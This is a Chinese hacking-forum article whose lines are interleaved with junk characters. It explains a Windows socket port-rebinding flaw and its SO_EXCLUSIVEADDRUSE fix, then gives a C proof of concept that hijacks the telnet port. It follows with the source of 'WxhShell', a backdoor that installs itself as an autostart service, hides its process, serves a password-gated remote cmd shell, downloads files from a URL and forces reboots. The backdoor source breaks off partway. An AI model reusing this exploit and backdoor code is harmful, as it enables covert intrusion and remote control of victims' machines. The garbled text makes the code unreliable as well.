在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<GgtP55 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B=bI'S8\ AV 5\W} saddr.sin_family = AF_INET;
O;e8ft
'| e_k
_ty` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W}2 &Pax L sDzV) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)g:,_ 1s)| >_aio4j}r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"]s|D@^4#b {/A)t1nL 这意味着什么?意味着可以进行如下的攻击:
a!y,!EB+Qu nuO3UD3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$jed{N7Y QS [B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"gvw0) h @,e`Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IO!1|JMr6 )=E~CpKV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,J(5@8(>a T$^>Fiz{Se 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-)OkG#J@ B.mbKntK)R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
aDl,
K;GL g{W6a2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
blfE9Oy {pe7]P? #include
HCx%_9xlm #include
'ztL3(|X6 #include
8gbm "! #include
B3>Uba*-)} DWORD WINAPI ClientThread(LPVOID lpParam);
\l]pe|0EW int main()
'y6!%k* {
{y&\?'L' WORD wVersionRequested;
a()6bRc~T DWORD ret;
BgkB x WSADATA wsaData;
{Bq"$M!Y BOOL val;
Oh/b?|imG SOCKADDR_IN saddr;
[7e{=\`= SOCKADDR_IN scaddr;
02W4-*) int err;
xZP >g SOCKET s;
bwSRJFqb SOCKET sc;
5hJYy`h~ int caddsize;
@4_rx u& HANDLE mt;
yC'hwoQ` DWORD tid;
V%BJNJ wVersionRequested = MAKEWORD( 2, 2 );
y*}vG}e% err = WSAStartup( wVersionRequested, &wsaData );
DN"S, if ( err != 0 ) {
(K*/Vp printf("error!WSAStartup failed!\n");
&e
?"5 return -1;
UbY~xs7_ }
f3zfRhkIk saddr.sin_family = AF_INET;
c}IX" Tr+h$M1_Ja //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
S!jF:Uc /lr1hW~Dbk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
K_AtU/ saddr.sin_port = htons(23);
c?.r"5# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k=T-L {
N753 printf("error!socket failed!\n");
&e-#|p#v return -1;
Z6IJ o%s }
H~?*KcZ 0\ val = TRUE;
L}}=yh6r //SO_REUSEADDR选项就是可以实现端口重绑定的
=mKfFeO. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Q{AZ'XV {
~U"by_ printf("error!setsockopt failed!\n");
g[EM]q, return -1;
mq
J0z4I} }
vo(g0Au) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pcI& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
M<{5pH(K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
! fi &@k 9h:jFhsA9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Lp:Nw4 _ {
nDHHYp ret=GetLastError();
H.YIv50E printf("error!bind failed!\n");
4|>
rwQ~t return -1;
p^KlH=1n.6 }
Rwc[:6;fn listen(s,2);
I&TTr7 while(1)
"x#]i aDjf {
L_THU4^j
caddsize = sizeof(scaddr);
mL:m;>JJ n //接受连接请求
DKy>]Hca sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~\IF9! if(sc!=INVALID_SOCKET)
$ \Q<K@{ {
/h}P Eu3y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I.^X 2 if(mt==NULL)
pqyWv; {
aBXYri printf("Thread Creat Failed!\n");
;cv.f>Cm break;
l |08 }
:y+B;qw }
6=ZRn gQ CloseHandle(mt);
Q`.'-iq }
jo9J%vo closesocket(s);
`z9)YH WSACleanup();
2d-TU_JqX return 0;
T@;! yz}Pf }
Gw
~{V DWORD WINAPI ClientThread(LPVOID lpParam)
Qg'c?[~W@ {
|d,F-9iw SOCKET ss = (SOCKET)lpParam;
5f;n<EPy SOCKET sc;
FU_fCL8yA unsigned char buf[4096];
L;/9L[s, SOCKADDR_IN saddr;
LP.HS'M~u long num;
Sm$p\ORa DWORD val;
h5L=M^z!> DWORD ret;
!]$V9F{K //如果是隐藏端口应用的话,可以在此处加一些判断
WGH%92 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;[(=kOI saddr.sin_family = AF_INET;
i&'#+f4t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zP_ ] saddr.sin_port = htons(23);
E]?)FH<oP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ppAmN0=G {
oR*ztM
printf("error!socket failed!\n");
$ q%mu return -1;
w Y8@1>ah }
a?5WKO val = 100;
0CPxIF& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kUNj4xp) {
M{C6rm| ret = GetLastError();
iI3v[S return -1;
2>F\& }
KMUK`tbaI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FX
H0PK {
,"~WkLI~\t ret = GetLastError();
TQ;
Z.)L return -1;
/_]ltX D }
:W~6F*A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o^HNF+sm {
I[}75:^Rt printf("error!socket connect failed!\n");
?q\FLb%"7 closesocket(sc);
%dEB /[ closesocket(ss);
7=}6H3|& return -1;
4HM;K_G%{ }
ZB-QABn while(1)
Fj
S%n$ {
,mB Z`X@N
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=v.{JV# //如果是嗅探内容的话,可以再此处进行内容分析和记录
$j57LY|r //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
js~tKUvg num = recv(ss,buf,4096,0);
F "!agc2! if(num>0)
\Ke8W,)ew send(sc,buf,num,0);
b`$yqi<[ else if(num==0)
2b5 #PcKa break;
+a|"{ num = recv(sc,buf,4096,0);
zJ5hvDmC if(num>0)
vkJ)FEar send(ss,buf,num,0);
M)L/d_4ka else if(num==0)
Kl{-z X break;
2z4<N2!M }
'!p=aF9L closesocket(ss);
grr'd+_ e closesocket(sc);
aSel*
L return 0 ;
aYqm0HCT }
:pRF*^eU +#4]o
}6G m+?N7 ==========================================================
5L F/5` [!EXMpq' 下边附上一个代码,,WXhSHELL
hR-K@fS%l' aR _NyA ==========================================================
qP7G[%=v nTPB,QE< #include "stdafx.h"
FKC\VF GD!-
qH #include <stdio.h>
e9&+vsRmA #include <string.h>
62Mdm3 #include <windows.h>
</= CZy5w #include <winsock2.h>
5y]io
Jc9- #include <winsvc.h>
>-M ]:=L #include <urlmon.h>
r088aUO
P ^5>s7SGB" #pragma comment (lib, "Ws2_32.lib")
$_sYfU9 #pragma comment (lib, "urlmon.lib")
jo}1u_OJ -ey)J
+?t #define MAX_USER 100 // 最大客户端连接数
TjxA#D) #define BUF_SOCK 200 // sock buffer
L1sqU-gt #define KEY_BUFF 255 // 输入 buffer
+Gow5-( % #u.J
#define REBOOT 0 // 重启
l;OYUq~F #define SHUTDOWN 1 // 关机
[>f]@> 6gnbkpYi #define DEF_PORT 5000 // 监听端口
Z0$] tS Z0-ytODII #define REG_LEN 16 // 注册表键长度
&R,9+c #define SVC_LEN 80 // NT服务名长度
1_uvoFLk tmO`|tn& // 从dll定义API
eJHp6)2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6g"C#&{@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>"%ob,c:# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{pWBwf>R C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xST4}Mb^f >^=gDJ\a // wxhshell配置信息
~M5:=zKQ struct WSCFG {
7NJFWz! int ws_port; // 监听端口
X P;Bhz3j char ws_passstr[REG_LEN]; // 口令
Mu{BUtkzG int ws_autoins; // 安装标记, 1=yes 0=no
~EEs}i char ws_regname[REG_LEN]; // 注册表键名
u`_*g^5q" char ws_svcname[REG_LEN]; // 服务名
pISp*& char ws_svcdisp[SVC_LEN]; // 服务显示名
dFW.}"^c char ws_svcdesc[SVC_LEN]; // 服务描述信息
CQgcC-)ns] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*nRNg.i3D int ws_downexe; // 下载执行标记, 1=yes 0=no
s5&=Bsv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(Sv>NQp char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v*z(@<Y {:bN/zV# };
0}]SUe^
uFG<UF // default Wxhshell configuration
gzf-)J struct WSCFG wscfg={DEF_PORT,
e"k/d< "xuhuanlingzhe",
OX\$ nQ\o 1,
W\8Ln> "Wxhshell",
Z(e^ iH "Wxhshell",
?qmp_2:WU "WxhShell Service",
_'!kuE,*1 "Wrsky Windows CmdShell Service",
GS;%zdH~ "Please Input Your Password: ",
x GH1epf 1,
)*|(i] "
http://www.wrsky.com/wxhshell.exe",
ut_pHj@ "Wxhshell.exe"
&^!h}D%T/ };
8AL\ST51x" 6ZOy&fd,Ty // 消息定义模块
1$pb (OK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
XN;&qR^j char *msg_ws_prompt="\n\r? for help\n\r#>";
BMFF= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
dU_;2#3m char *msg_ws_ext="\n\rExit.";
G-u]L7t&1 char *msg_ws_end="\n\rQuit.";
QM'X@ char *msg_ws_boot="\n\rReboot...";
6B" egYv char *msg_ws_poff="\n\rShutdown...";
0 )}$^TV char *msg_ws_down="\n\rSave to ";
X(*!2uS L(G92,. char *msg_ws_err="\n\rErr!";
=-#G8L%Q char *msg_ws_ok="\n\rOK!";
O=}g4c t
Rm+? char ExeFile[MAX_PATH];
qf#)lyr<D6 int nUser = 0;
poT&-Ic[ HANDLE handles[MAX_USER];
(=u'sn:s int OsIsNt;
94/BG0 3<:jx~y> SERVICE_STATUS serviceStatus;
eSfnB_@x2 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Y@uh[aS! )C~9E 5E // 函数声明
Q@S-f:! int Install(void);
$IX\O int Uninstall(void);
3n]79+w@z int DownloadFile(char *sURL, SOCKET wsh);
*
F4UAQzYb int Boot(int flag);
nP3 E void HideProc(void);
t;NV $!! int GetOsVer(void);
`yO'[2 int Wxhshell(SOCKET wsl);
HrM$NRhu void TalkWithClient(void *cs);
rD
&D)w int CmdShell(SOCKET sock);
O_~7Glu int StartFromService(void);
Yh<WA>= int StartWxhshell(LPSTR lpCmdLine);
-_N)E ))G ;9a 6pz< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,$lemH1d VOID WINAPI NTServiceHandler( DWORD fdwControl );
i=S~(gp vB0RKk}d5 // 数据结构和表定义
L] %l51U SERVICE_TABLE_ENTRY DispatchTable[] =
kmPYx)o {
646JDX[o {wscfg.ws_svcname, NTServiceMain},
g)"gw+ZFc {NULL, NULL}
sG7u}r };
eWs&J24 P8Qyhc // 自我安装
K.~q+IYP[ int Install(void)
3Q^fVn$tk {
E_T2z4lw char svExeFile[MAX_PATH];
==N{1gO] HKEY key;
HD>q(cK_|8 strcpy(svExeFile,ExeFile);
bulS&dAX YJeyIYCs< // 如果是win9x系统,修改注册表设为自启动
#5} wuj%5 if(!OsIsNt) {
YJV% a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W?woNt'n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4rg2y] RegCloseKey(key);
Xf[kI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^teq[l$; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6%G-Vs]*2 RegCloseKey(key);
~`ny@WD9 return 0;
};L ^w: }
_}xd}QW }
I:cg}JZ>| }
i1lBto[ else {
S$,'Q^~K =c.5874A` // 如果是NT以上系统,安装为系统服务
fWnD\mx?0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]6r;}1c
if (schSCManager!=0)
zi9[)YqxPH {
g4p SC_HANDLE schService = CreateService
]}|byo (
6w8">~)Z schSCManager,
Yr.sm!xA wscfg.ws_svcname,
^TY;Zp wscfg.ws_svcdisp,
"Jq8?FoT SERVICE_ALL_ACCESS,
B;>{0
s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K<`osdp=& SERVICE_AUTO_START,
`F YjQe"p SERVICE_ERROR_NORMAL,
=@&cH Y svExeFile,
s$ENFp7P NULL,
AlE8Xu9UB NULL,
\_V-A f{6 NULL,
/P|fB]p NULL,
Fb`a~c~s NULL
'7^M{y/dU
);
RD7^& if (schService!=0)
sUJ%x#u}Fk {
)SF}2?7e CloseServiceHandle(schService);
`{k"8#4:qA CloseServiceHandle(schSCManager);
1RcSTg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
afBE{ strcat(svExeFile,wscfg.ws_svcname);
Ysq'2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}o4N<%/+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v{zMO:3 RegCloseKey(key);
}/tf>?c return 0;
#'D"
'B }
eV:9y }
vX0f,y CloseServiceHandle(schSCManager);
xw^R@H }
zi R5:d3 }
#6Fez`A RqEH|EUZ return 1;
,mhQ"\ +C }
f"7O "6 3~ S'LxV // 自我卸载
IN8>ZV`j) int Uninstall(void)
00v&lQBW {
]^':Bmq HKEY key;
|F,R&<2 dI&!e#Y if(!OsIsNt) {
j`^$# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IG)s^bP RegDeleteValue(key,wscfg.ws_regname);
;c~cet4 RegCloseKey(key);
zJP6F.Ov! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@k[R/,#'[t RegDeleteValue(key,wscfg.ws_regname);
F<>!kK/c RegCloseKey(key);
B~o\+n return 0;
wW>zgTG }
xh7c VE[UM }
]#7zk9 }
}bY;q- else {
Tc8un. N\:.
M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
eP*lI<NQ1 if (schSCManager!=0)
&j(+ /;A {
Ee4&g<X. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?]D"k4 if (schService!=0)
W;bu2ym&Q {
_^Mx>hb4. if(DeleteService(schService)!=0) {
.ObZ\.I CloseServiceHandle(schService);
u6>?AW1~ CloseServiceHandle(schSCManager);
G!K]W:m return 0;
hX`}Q4(k }
C<KrMRWh^ CloseServiceHandle(schService);
(Yp+bS(PU* }
%K(<$! CloseServiceHandle(schSCManager);
pw7[y^[Qg }
f$NM M
>z }
?5_7;Ha kOIt(e return 1;
_g1b{$ }
6-?66gmT !r#?C9Sq // 从指定url下载文件
-S3MH1TZ int DownloadFile(char *sURL, SOCKET wsh)
$O9^SB {
Fx-8M! HRESULT hr;
9U$EJN_G char seps[]= "/";
^G6RjJxqp8 char *token;
vAyFm dJ^ char *file;
CPNL
94x char myURL[MAX_PATH];
>3z5ww char myFILE[MAX_PATH];
&u#&@J pdE3r$C strcpy(myURL,sURL);
?LvCR_D: token=strtok(myURL,seps);
zZVfj:i8 while(token!=NULL)
%Gt.m {
J,Ks0MA file=token;
=[F<7pvE token=strtok(NULL,seps);
d&Ef"H }
\Y"Wu 2WU@*%sk" GetCurrentDirectory(MAX_PATH,myFILE);
=Zi2jL?On strcat(myFILE, "\\");
Z!ha fhcX strcat(myFILE, file);
um9_ru~ send(wsh,myFILE,strlen(myFILE),0);
T49zcJf; send(wsh,"...",3,0);
g!-,] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
4;2< ^[M if(hr==S_OK)
<=f}8a.R3 return 0;
9K9DF1SOa else
=i~}84> return 1;
-jMJAYj V G "73=8d }
~%YBI9$+ *zr(Zv // 系统电源模块
r$2P;Cxj int Boot(int flag)
AhZ8 0! {
N!g9*Z HANDLE hToken;
tKpmm`2 TOKEN_PRIVILEGES tkp;
9<KAXr# lbpq_= if(OsIsNt) {
V0)fZS@tf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$m42:a mM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\Ym5<];E tkp.PrivilegeCount = 1;
x
g0iN'e'K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,_Z+8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
j?MAED if(flag==REBOOT) {
By% =W5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3-&QRR#p return 0;
~R(%D-k }
)E~79! else {
>%wLAS",w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
YCP) %} return 0;
z<yU-m2h }
D:erBMKv, }
u,&^&0K, else {
U~pV) J if(flag==REBOOT) {
]C) 4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?mwD*LN3o return 0;
)b:7-}d }
Zl*X?5u else {
KQ~i<1&j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
aoXb2 2]{ return 0;
B'fb^n< }
l,kUhZ@W }
#FNcF>3> lyGhdgWc return 1;
JYTP
2 }
Y./2Ely JfR%L q~ // win9x进程隐藏模块
m}X`> aD/ void HideProc(void)
1;{Rhu7*
k {
vvm0t"|\ |9B.mBoX HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
m%76i;uP if ( hKernel != NULL )
~8]NK&J {
*NG+L)g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<WcR,d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
U-|NY FreeLibrary(hKernel);
g[3)P+ }
9^j &VmF !P-^O return;
IP(Vr7-v }
L|,!?cSAT ;UfCj5`Q)4 // 获取操作系统版本
Z-l=\ekJ int GetOsVer(void)
8|" XSN {
;A*`e$ OSVERSIONINFO winfo;
:3I@(k\PY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#Y4=J
6 GetVersionEx(&winfo);
1~PV[2a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZSG9t2qlv return 1;
\ioH\9 else
*FM Mjz return 0;
|6$p;Aar }
0:T|S>FsAm }nL7T'$> // 客户端句柄模块
&sU?Ok6 int Wxhshell(SOCKET wsl)
w'UVKpG+ {
{QwHc5Bf SOCKET wsh;
@0F3$ struct sockaddr_in client;
?nmn1`UT DWORD myID;
PBp^|t]E> q,+yqrt while(nUser<MAX_USER)
eN^qG
42
{
43@{JK9G int nSize=sizeof(client);
/\hzb/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HbxL:~:}J if(wsh==INVALID_SOCKET) return 1;
|g//g\dd [DF,^4g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7D;cw\ | if(handles[nUser]==0)
hUF5fZqii closesocket(wsh);
~FN9 [aJF+ else
zaK#Z?V} nUser++;
{$wjO7Glp }
D`$hPYK|_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
c|#8T*`C eY| return 0;
z[3L2U~6 }
+w+}b^4 r_-_a(1R: // 关闭 socket
+Nt2
+Y:O void CloseIt(SOCKET wsh)
LRNh@g4ei {
9;B0Mq
py closesocket(wsh);
<x<"n t nUser--;
;u>DNG|. ExitThread(0);
`nZ )> }
"t~ E/%9jDTQ // 客户端请求句柄
])nPPf void TalkWithClient(void *cs)
Y4v|ko`l% {
OR;uqV@ o}* hY"& SOCKET wsh=(SOCKET)cs;
MpF$xzh char pwd[SVC_LEN];
;JayoJ char cmd[KEY_BUFF];
FgB&b char chr[1];
l=v4Fa0^jF int i,j;
}Nf%n@ H{=21\a\ while (nUser < MAX_USER) {
~V\D|W9 bp~g;h*E2 if(wscfg.ws_passstr) {
/N&CaH\;^$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/JWGifH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n:{qC{D-qS //ZeroMemory(pwd,KEY_BUFF);
r(RKwr:m i=0;
6I4oi@hZz while(i<SVC_LEN) {
'2[albxSc O4og?h> // 设置超时
y9>ZwYN fd_set FdRead;
R5X.^u struct timeval TimeOut;
BEre*J FD_ZERO(&FdRead);
!Ikt '5/ FD_SET(wsh,&FdRead);
]% IT|/;9Y TimeOut.tv_sec=8;
(adyZ/j TimeOut.tv_usec=0;
_N{RVeO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@n{JM7ctJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[E/\#4b V;,{} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qLB)XnQ pwd
=chr[0]; Ht&:-F+dm
if(chr[0]==0xd || chr[0]==0xa) { osX8eX]\
pwd=0; 3_MS.iM
break; i? K|TC`
} =5(>q5Z*
i++; $w);5o
} {M^3m5.^
RT.D"WvT
// 如果是非法用户,关闭 socket -UOj>{-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -)RH5WG S
} i;_t I#:A
MMx9(`t*.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c+hQSm|bf)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); paD !Z0v&
7r~~Y%=C|
while(1) { Lcg)UcB-#
-T[lx\}
ZeroMemory(cmd,KEY_BUFF); [YUv7|\
J
/f
// 自动支持客户端 telnet标准 JNJ=e,O,
j=0; e-"nB]n^/
while(j<KEY_BUFF) { H?)w!QX
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Na?!;1]_
cmd[j]=chr[0]; RM!<8fXYD
if(chr[0]==0xa || chr[0]==0xd) { |4uWh
cmd[j]=0; )~HUo9K9
break; k{Me[B
} >o7n+Rb:
j++; 29?,<bB)
} 3tZ]4ms}
98uV6b~g
// 下载文件 2gCX}4^3b
if(strstr(cmd,"http://")) { er!DYv
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :[hgxJu+
if(DownloadFile(cmd,wsh)) |~X ;1j!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;'"A#Pa
else
]y1OFKYv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vp3ZwS
} h3z{(-~y
else { ?6fnpGX@a
@AIaC-,~]
switch(cmd[0]) { M>i9 i-dU
>76\nGO
// 帮助 VBcy9|lD
case '?': { :"xzj<(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bqnNLs<N
break; "hzB9*"t
}
/#VhkC _
// 安装 t\%HX.8[;%
case 'i': { S'_-G;g.
if(Install()) 7:)n$,31FW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3R(vd
else %sX$nmi3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =p=rg$?
break; d\
1Og\U|A
} qT`k*i?
// 卸载 %Ntcvp)
case 'r': { N#DYJ-~*
if(Uninstall()) .MJofE;Jn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^w c"&;=c|
else EuyXgK>g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OG~6L4"
break; <F`>,Pm
} G}:lzOlMH
// 显示 wxhshell 所在路径 m6[0Kws&
case 'p': { PEuIWXr
char svExeFile[MAX_PATH]; 7,lq}a8z
strcpy(svExeFile,"\n\r"); .[3Z1v,
strcat(svExeFile,ExeFile); H=Y{rq @
send(wsh,svExeFile,strlen(svExeFile),0); E~gyy]8&
break; Ire\i7MF:
} ,kF}lo)
// 重启 qCqFy#Ms\
case 'b': { !WpBfd>v.I
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Hxd*S
if(Boot(REBOOT)) aM:nOt" S1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "vyNxZE
else { P%(O|
closesocket(wsh); N,;5{y1;J
ExitThread(0); I$0)Px%z
} ML8<4o
break; :X]itTrGs
} < VSA
// 关机 6w(6}m.L^
case 'd': { _G.>+!"2/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5yiK+-iTs
if(Boot(SHUTDOWN)) Y~(Md@!0S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DFd%9*N
else { 8peDI7[|
closesocket(wsh); V` 1/SQX
ExitThread(0); 2h=!k|6
} Tny%7xSx1
break; 66I"=:
}
S4h:|jLUF
// 获取shell .b-f9qc=
case 's': { tP2qK_\e=
CmdShell(wsh); h}cy D7Wn
closesocket(wsh); m$W <
ExitThread(0); - qy6Un+
break; =IW?WIXk
} U9A~9"O
// 退出 /U"CO 8Da
case 'x': { *i- _6s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L.1_(3NG
CloseIt(wsh); Wr3mQU
break; \e'R@
} g)_e]&
// 离开 `^FGwx@
case 'q': { G1"zElug
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O Vko+X`
closesocket(wsh); Ar:*oiU
WSACleanup(); L?Qg#YSd~
exit(1); 7"w2$*4 '0
break; L.2/*H#
} CFqJ/''
} _&j}<K$-(
} w -
Pk7I
bD[!/'4eJ
// 提示信息 I{lT> go
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #L{OV)a<
} GA?87N
} D!.+Y-+Xzu
-#2)?NkeE
return; 9f',7i
} KTn}w:+B\
h|h>u
^@
// shell模块句柄 N^pJS6cJkl
int CmdShell(SOCKET sock) Bnb#{tL
{ BvR-K\rx
STARTUPINFO si; i2sN3it
ZeroMemory(&si,sizeof(si)); zD(`B+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5o6>T!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "=+7-`
PROCESS_INFORMATION ProcessInfo; L dm?JrU
char cmdline[]="cmd"; MH{GR)ng:9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;[W"mlM
return 0; ;w%*M}`5
} -Y
H<
qOUqs'7/]
// 自身启动模式 >2Jdq
int StartFromService(void) ,daKC
{ Fb4`|
typedef struct 66'?&Xx'
{ TP"1\O
DWORD ExitStatus; Uv?|G%cD-
DWORD PebBaseAddress; sPps q
DWORD AffinityMask; TzntO9P+
